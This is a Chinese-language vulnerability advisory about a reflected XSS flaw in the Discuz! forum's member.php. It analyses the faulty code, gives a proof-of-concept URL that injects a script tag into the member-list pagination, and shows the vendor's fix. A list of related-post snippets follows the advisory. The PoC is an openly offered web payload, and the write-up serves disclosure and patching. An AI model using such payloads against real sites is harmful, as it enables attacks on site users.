Discuz! member.php xss bug

author: 80vul-B
team:[url]http://www.80vul.com[/url]

一分析

member.php代码:

if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {
   //这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
       $type = $adminid == 1 ? 'grouplist' : $type;
   } else {
       $listgid = '';
   }
   ...
   $multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);

二利用

poc:

poc:
[url]http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert[/url](/xss/)%3C/script%3E
会员列表页面存在分页时触发

三补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {
       $type = $adminid == 1 ? 'grouplist' : $type;
   } else {
       $listgid = '';
   }

[1]:[url]http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip[/url]

Discuz! member.php xss bug相关推荐

Discuz member模块功能解析
知识点 1.ip转换成地址 discuzip装换成地址用的是离线数据,一个叫纯真IP地址数据库的数据库,存放了几乎所有ip到地址的映射,且经常有更新,可以在这个git库上下载,也可以网上搜qqwry. ...
Discuz学习总结——部分bug解决方案
2019独角兽企业重金招聘Python工程师标准>>> 一开始安装discuz的时候,总会遇到一些问题,这里列举几个自己目前遇到的问题,进行排解 1.论坛首页css样式丢失很多人一 ...
$_server['php_self'] 漏洞,Discuz! $_SERVER['PHP_SELF'] XSS Vulnerability
在common.inc.php文件的69行: $PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NA ...
discuz member.php,Discuz启用Memberchach完美教程
大致我们需要三步 1.在网站后台开启Memberchach并配置参数 2.修改网站配置文件config_global.php 3.配置Php环境使它支持Memberchach 下面我们开始动手首先进 ...
反射型XSS漏洞详解
反射型XSS漏洞如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞.通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户.对于开发者而言,使用这种机制 ...
《XSS跨站脚本攻击剖析与防御》—第6章6.1节参考文献
本节书摘来自异步社区<XSS跨站脚本攻击剖析与防御>一书中的第6章6.1节参考文献,作者邱永华,更多章节内容可以访问云栖社区"异步社区"公众号查看. 参考文 ...
xxs漏洞危害_反射型XSS漏洞详解
反射型XSS漏洞如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞.通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户.对于开发者而言,使用这种机制 ...
[PHP] 2018年终总结
去掉敏感信息后的不完整版 ========================================================================== 2018年12月29日 ...
PHP magic_quotes_gpc
大多的PHP程序,都有这样的逻辑: 如果发现php.ini配置为不给GPC变量自动添加转义斜线,则PHP自动为GPC添加转义斜线但是事实上,这是错误的,因为它改变了GPC变量原来的值．有这个遗留习 ...

Discuz! member.php xss bug

Discuz! member.php xss bug相关推荐

最新文章

热门文章